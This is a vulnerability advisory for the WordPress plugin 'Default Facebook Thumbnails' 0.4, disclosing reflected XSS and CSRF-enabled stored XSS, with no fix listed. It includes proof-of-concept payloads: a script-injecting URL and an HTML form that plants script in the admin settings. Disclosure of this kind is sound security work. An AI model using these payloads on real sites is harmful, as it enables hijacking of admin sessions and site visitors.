WordPress Default Facebook Thumbnails 0.4 Cross Site Scripting

`Title: WordPress 'Default Facebook Thumbnails' Plugin   
Version: 0.4  
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej  
Date: 2015-06-13  
Download:   
- https://wordpress.org/plugins/default-facebook-thumbnail/  
- https://plugins.svn.wordpress.org/default-facebook-thumbnail/  
Notified WordPress: 2015-06-21  
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## Plugin description  
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This plugin adds a og:image tag to your head with the input/upload of the image in the settings.  
  
## XSS/CSRF Vulnerabilities  
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The request URI is echo'ed into the HTML page without sanitization. This can be exploited with a direct link to the vulnerable file (keep in mind that most modern browsers encode the url).  
  
PoC:  
[URL]/wp-content/plugins/default-facebook-thumbnail/fb_thumbnail_admin.php?/"><script>alert(1)</script>  
  
The "Upload Image or URL" field in the admin-settings page is vulnerable to stored XSS. This can be exploited by utilizing a CSRF vulnerability.  
  
PoC:  
Log in as admin and submit this form:  
  
<form method="POST" action="http://[URL]/wp-admin/admin.php?page=fb_thumbs">   
<text>upload image: </text>  
<input type="text" name="upload_image" value=""><script>alert(1)</script>"><br />  
<text>fb_thumb_hidden: </text>  
<input type="text" name="fb_thumb_hidden" value="Y" readonly><br />  
<input type="submit">  
</form>  
  
  
## Solution  
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No fix available  
  
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XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.  
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